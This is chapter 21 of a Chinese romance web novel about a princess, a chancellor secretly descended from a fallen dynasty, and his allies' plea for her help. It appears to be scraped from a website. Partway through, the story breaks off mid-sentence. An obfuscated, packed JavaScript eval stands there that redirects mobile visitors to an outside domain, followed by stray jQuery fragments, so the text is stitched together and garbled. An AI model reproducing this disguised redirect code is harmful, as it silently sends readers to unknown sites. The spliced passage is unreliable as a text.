21. 第二十一章

作品:《奸臣只想尚公主(双重生)

    孟砚梨的月事一向极准。


    所以她很清楚自己有了身孕,还专程请来御医院擅长为女子保胎的圣手过府,询问胎儿状况以及注意事项。


    那日西疆国主为缴纳岁贡按时抵达长安,她原本想等欢迎宴席结束后,再告诉顾云况这个好消息。


    可惜,事与愿违。


    欢迎宴上,云氏旧臣揭竿而起。顾云况将孟桓软禁,好不容易被帛和营救离宫,还是没能彻底出逃。


    顾云况那夜与她强行同房后,孟砚梨第二天便开始血流不止。


    之后他一连数日都没再来过长公主府。


    孟砚梨原本想着,若这孩子就此保不住,或许也是好事。


    可她下腹坠胀实在疼痛难忍,只能派桃邀与荔棉去求那些看管长公主府的云氏死士,为她请御医。


    他们各个都对桃邀与荔棉所求置若罔闻,巴不得孟砚梨当真患上什么不治之症,死了刚好。


    最终还是孟砚梨自己从书房翻出药经研读,根据其内安胎药方在长公主府小药房配齐药材熬了几天,总算是将那孩子保下来,身子也恢复许多。


    甚至直到那时,她依然蠢顿无知地期待着,孩子之所以不愿离开,或许是天意注定,说明他们之间还有转机。


    孟砚梨如今回想起过去,既觉得愤怒,亦感到可笑。


    更深露重,她起身准备回房,忽地听见“噗通”一声,似是有人扔了颗石子落入荷塘。


    “?”


    孟砚梨下意识顺着声音向长公主府院高墙望去,只见一个影子飞身而入——


    竟是柳菩提。


    “长公主殿下,别来无恙。”


    柳菩提身着黑色夜行衣,冲孟砚梨略一颔首微笑,眼底神色却极为凝重。


    孟砚梨有些抗拒地后退两步,柳菩提意识到她的抵触,倒也坦诚:“你这么讨厌我,是因为游归?”


    见孟砚梨不语,柳菩提继而又调侃道:“可我最近听说,游归在长公主殿下这里似乎已经失宠。既然殿下不要他了,怎么仍旧不愿将他让给我。”


    “本宫和顾云况没有关系。”孟砚梨咬咬唇,很不喜欢柳菩提这幅仿佛完全将她看穿的派头:“你与他之间如何,是你们自己的事。”


    “噗。”


    柳菩提被孟砚梨逗得发笑:“你们倘若当真没有关系,他怎会为了你连命都不要。”


    听柳菩提话中之意,想必云氏众人已经知晓顾云况被自家死士误伤一事。


    孟砚梨垂眸,心道柳菩提莫不是夜闯长公主府来寻她报复的罢。毕竟,那名云氏死士原本准备袭击的是她,顾云况亦是为了她才受伤。


    可却听柳菩提再次开口道:“夜访殿下府邸,是我唐突。不过如今事态严重,我与明觉再三商议,自认除却殿下外,恐怕再无人能救得了游归。”


    “本宫已经派御医为他诊治。”


    孟砚梨暗自气闷柳菩提总絮絮叨叨“游归”二字,语气不禁泛起几分不耐:“死不了。”


    “殿下不明白,我说的并非此次遇袭受伤。”


    柳菩提总算收起方才玩笑态势,将燕暮眼下情形告知孟砚梨。


    云氏旧臣这数十年来聚集在城南近郊的柳氏山庄,佯装成武林江湖人士行走于世。


    今日燕暮率领云氏死士回到山庄后,柳谋震怒不已,当即下令免去燕暮对死士们的统领权,将他囚在庄外一处破旧牢狱中。


    之后,柳谋又带着柳菩提一道前往丞相府。


    他们本是好意探望顾云况,谁知竟在丞相府吃了闭门羹,只收到相府总管递来的手信。


    “祖父愤怒至极。他全然不曾料到,游归竟将自己的身世,还有云氏所有筹谋都告知殿下。”


    柳菩提直到此时依然难掩震惊:“那封信中游归甚至还对祖父说,大可以再去寻别人替代他这个所谓的‘云氏太子’,他早就不想再同他们沆瀣一气。”


    正因如此:“祖父,还有义父,他们必定不会对游归手下留情。”


    在柳谋与燕燃商议接下来该怎样行事的过程中,柳菩提暗觉不对,她思来想去,还是先偷偷跑到庄外牢狱寻到燕暮。


    燕暮虽说被关了禁闭,但他身为燕燃亲子,那些看守他的人也不敢真的将他当作犯人看待。


    所以柳菩提并未遭遇任何阻拦,顺利见到燕暮后,他们二人商量来商量去,得出的办法便是由柳菩提连夜前来长公主府。


    “我原本不解,游归身为当朝丞相,已经做到一人之下,万人之上。居然甘愿为了你,放弃他唾手可得的帝位。直到我发现,我和明觉也同样愿意为了游归,跟祖父以及义父相抗。”


    毕竟:“我们终究不似父辈先祖们经历了云氏灭国之难,比起复辟大业,我们更在乎游归能不能好好活下去。”


    归根结底,对于燕暮与柳菩提而言,顾云况首先是他们自幼一块长大的挚友,其次才是肩负重任的云氏遗孤。


    顾云况如果打算做皇帝,他们便一路鞠躬尽瘁地相助。反之,他们也绝不会让顾云况在面临云氏旧臣的反扑时单打独斗。


    “殿下,游归若非心里念着你,他决计不可能跟祖父闹到这般境地。”


    柳菩提面上难掩焦急,孟砚梨目不转睛地看着她,不知为何忽地想起上一世时,南宫姐弟二人皆死于云氏之手。


    孟砚梨第一次这样清楚地意识到,顾云况分明也有自幼相熟,并肩而行的挚友。


    易地而处,他却将她的挚友视若蝼蚁。


    从前种种往事涌入脑中,孟砚梨蓦地冷笑出声:“柳姑娘方才不是也说,顾大人在本宫这里已经失宠了。”


    “顾云况是柳姑娘的未婚夫,你的祖父想要你的未婚夫死,来求本宫有什么用。”


    柳菩提无从知晓上一世时孟砚梨与顾云况之间的恩怨,听见这番话不由一愣,随即方才苦笑出声:“所谓婚约,不过祖父自作主张而已。那日怪我考虑不周,胡言乱语,惹得殿下对游归生出误会。”


    “没什么误会。”


    孟砚梨别开眼,神色黯淡:“你们云氏内讧,本宫何必掺和这趟浑水。如你方才所言,顾云况一人之下,万人之上,无需本宫或是旁人忧心。”


    她的意思很明确,顾云况是梁朝丞相,柳谋动不了他。


    即使柳谋企图谋害顾云况,再寻他人取而代之,那也与她没有关系。


    柳菩提难以置信地看着孟砚梨,半晌方才错愕出声:“我真替游归感到不值。”


    孟砚梨扯起唇角:“你们是未婚夫妻,你有资格替他不值。”


    她停顿半瞬,察觉自己话里话外听起来都带着些醋意,面色登时变得愈发冷冽。


    “夜深,柳姑娘请回。”


    否则:“本宫恐怕得劳烦长公主府侍卫相送。”


    多说无益,柳菩提也并非


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455324|183728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那般定要无故纠缠之人,只腾空而起,越过院墙离开。


    ……


    第二日清晨。


    孟砚梨一夜辗转反侧,好不容易快要睡着,便被长公主府上内侍通传声吵醒。


    “陛下驾到!”


    她抬手抓过被子蒙住脑袋不想搭理孟桓,但孟桓已然阔步绕开屏风进入内间,站在她榻旁大喊一句:“阿姊救我啊!”


    孟砚梨蹙眉装睡,孟桓已然命御前宦官陶德胜与桃邀上前:“赶紧,给朕掀被子。”


    话音未落,孟砚梨颇为不耐地推开被褥,只露出一个脑袋坐起身,整个人裹在被中对着孟桓怒目而视。


    “你吵死了。烦人。”


    “大难临头!大难临头!大难临头啊阿姊!”


    孟桓嚷嚷得孟砚梨愈发头晕:“顾云况要谋反。顾云况是何人,他是朕的辅政之臣,本朝丞相,怎么能是前朝遗孤!”


    他进入孟砚梨房间前虽然已经屏退了院中闲杂人等,但未免隔墙有耳,此刻仍旧压低声音道:“如此荒唐之事传进朕耳中,朕彻夜难眠,阿姊你如何还睡得着。”


    孟砚梨揉揉眉心,示意桃邀给孟桓上座看茶,听他娓娓道来后才知,昨夜顾云况竟胆敢强撑着受伤后的病体夜闯宫门,独自求见孟桓。


    顾云况不仅主动坦白了身世,同时还递上两份名单以表衷心。


    “昨夜朕初闻消息时,当真胆战心惊。”


    “幸好顾大人话锋一转,直道他不愿再被云氏旧臣把控,也不愿做什么‘云氏太子’,只想做大梁之臣。”


    孟桓说着,眼神不知为何开始闪躲,最后甚至求助般看向陶德胜。


    陶德胜得到示意,急忙接过他的话又道:“长公主殿下有所不知。顾大人昨夜破釜沉舟,一是为求陛下庇护他免遭云氏旧臣迫害,二是,二是,嗯,祈求陛下撤销殿下您与定国公世子的婚约,为您与顾大人指婚。”


    “若陛下不肯,他便要当即收回那两份名单,重返云氏,与整个大梁相抗。”


    孟砚梨神色略沉,越过陶德胜望向孟桓,一字一顿:“不知陛下如何回应顾大人?”


    孟桓额间没由来地落下滴冷汗:“阿姊说笑。朕怎么敢轻易做长公主殿下您的主。只能先稳住顾大人,说是今晨问过阿姊后,再行谈判。”


    “很好。”


    “本宫不愿意。”


    此话一出,无论孟桓,亦或陶德胜,桃邀还是荔棉等人,皆身形一怔。


    桃邀暗道:哈!果然没猜错,顾大人确实已经失宠。


    荔棉却不解,她家殿下分明最为爱重顾大人。从前碍于辅政身份,忧虑旁人认为他们狼狈为奸,弄权篡国,所以不便成婚。


    如今既是到了现下这境地,还能将顾大人从云氏那处拉拢至大梁,为何殿下不愿。


    至于孟桓,他到底孩子心性,藏不住话:“阿姊,你莫要误会。朕不是让你出卖色相去稳住顾大人或是云氏。换言之,你本就与顾大人两情相悦,何乐而不为?”


    孟砚梨闻言,蓦地失笑。


    顾云况权势滔天,连当今天子都不放在眼里。深夜闯宫相胁,合该治他死罪。


    可他偏偏全身而退,举重若轻。仿佛无论是推翻大梁,还是与云氏相悖,皆在他顾云况一念之间。


    他们其余人等,都得乖乖地做他的棋子傀儡,任由他肆意摆布。


    她偏不。